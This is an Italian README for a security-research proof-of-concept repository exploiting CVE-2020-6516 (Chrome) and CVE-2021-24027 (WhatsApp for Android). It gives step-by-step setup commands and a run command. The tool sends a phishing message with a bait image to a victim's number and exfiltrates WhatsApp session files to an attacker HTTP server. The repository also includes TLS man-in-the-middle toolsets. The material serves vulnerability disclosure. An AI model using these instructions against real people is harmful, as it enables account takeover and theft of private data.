
PoC e strumenti per lo sfruttamento di CVE-2020-6516 (Chrome) e CVE-2021-24027 (WhatsApp)
Questo repository contiene codice PoC e strumenti sviluppati come parte della nostra ricerca [01] sullo sfruttamento remoto delle vulnerabilità Man-in-the-Disk (MitD) su WhatsApp per Android. Come discusso nel nostro post sul blog, il codice e gli script qui presenti sono stati utilizzati per sfruttare CVE-2020-6516 (Chrome) [02] e CVE-2021-24027 (WhatsApp) [03].
La struttura di questo repository è la seguente:
La directory corrente contiene lo strumento Python che aggancia WhatsApp usando Frida, invia il messaggio di phishing con il payload di bypass CORS ed esegue un server HTTP, dove vengono inviati i file di sessione esfiltrati dal dispositivo della vittima.
tls12_psk_extract/ contiene il set di strumenti MitM per TLS v1.2. Vedi README.md in quella directory per maggiori informazioni su come preparare un ambiente MitM.
watls_psk_extract/ contiene il set di strumenti MitM per TLS v1.3 (WaTLS). Vedi README.md in quella directory per maggiori informazioni su come preparare un ambiente MitM.
openssl-1.1.1f-patches/ contiene le patch di OpenSSL 1.1.1f necessarie per configurare ambienti MitM TLS v1.2 e/o TLS v1.3.
secrets/ contiene un semplice script shell e una configurazione OpenSSL per generare certificati simili a quelli utilizzati dall'infrastruttura TLS v1.3 di WhatsApp. Le chiavi e i certificati generati possono essere utilizzati sia per MitM TLS v1.2 che v1.3.
Ultimo ma non meno importante, misc/ contiene vari script Frida utilizzati a scopo di test e debug durante la nostra ricerca e che potrebbero essere utili ad altri ricercatori.
Per testare il PoC è necessario un dispositivo Android con WhatsApp 2.20.206.22 [04]. Anche se il nostro codice è stato inizialmente sviluppato per la 2.19.355, e quindi puoi trovare gli snippet corrispondenti in frida_scripts/, quella versione è ormai considerata "scaduta" e non funzionerà.
Prima di avviare il PoC, è consigliabile compilare il meno possibile del codice DEX di WhatsApp. Questo può aiutare proattivamente a evitare problemi come l'impossibilità di Frida di agganciare metodi specifici.
adb shell
am force-stop com.whatsapp
pm compile -f -m space com.whatsapp
am start com.whatsapp/.Main
Scarica il server Frida e spingilo sul tuo dispositivo Android in /data/local/tmp, lasciando il nome file predefinito. La versione 12.8.10 è testata e funziona bene. Sentiti libero di scaricare una versione più recente se preferisci. Il PoC rileverà automaticamente il binario del server Frida e tenterà di eseguirlo con i parametri appropriati.
cd /tmp
curl -O https://github.com/frida/frida/releases/download/12.8.10/frida-server-12.8.10-android-arm64.xz
xz -d frida-server-12.8.10-android-arm64.xz
adb push frida-server-12.8.10-android-arm64 /data/local/tmp
La logica principale dell'exploit è implementata in main.py. I file adb.py e frida_util.py sono versioni ridotte di strumenti che usiamo internamente per vari compiti di debug su dispositivi Android.
Per eseguire il PoC, collega il tuo dispositivo Android al computer ed esegui il seguente comando:
python3 main.py -s ANDROID_SERIAL -a 192.168.1.100 -p 8000 -r \
images/the_guardian.jpg [email protected] "Rush for Mediterranean gas"
I parametri della riga di comando passati a main.py sono i seguenti:
-s - Il numero di serie del dispositivo Android da utilizzare, nel caso l'attaccante abbia più dispositivi Android collegati al suo computer.
-a e -p - Rispettivamente indirizzo e porta del server HTTP a cui verranno inviate le sessioni esfiltrate.
-r - Indica a main.py di avviare il suddetto server HTTP sul computer locale. Se non passi -r, assicurati di eseguire server.py sull'host specificato da -a e -p.
Gli argomenti posizionali sono i seguenti:
images/guardian.jpg - Un'immagine JPG che verrà utilizzata come anteprima fittizia del messaggio, per indurre la vittima a cliccarci sopra.
[email protected] - Il numero di telefono cellulare della vittima nel formato di WhatsApp. Di solito è il prefisso del paese seguito dal numero. Ad esempio, i numeri greci (+30) hanno l'aspetto di [email protected].
"Rush for Mediterranean gas" - Una stringa arbitraria da usare come didascalia del messaggio.
Per un esempio di utilizzo reale, dai un'occhiata al nostro post sul blog, e più specificamente ai video dimostrativi.
[01] https://www.census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/
[02] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6516
[03] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24027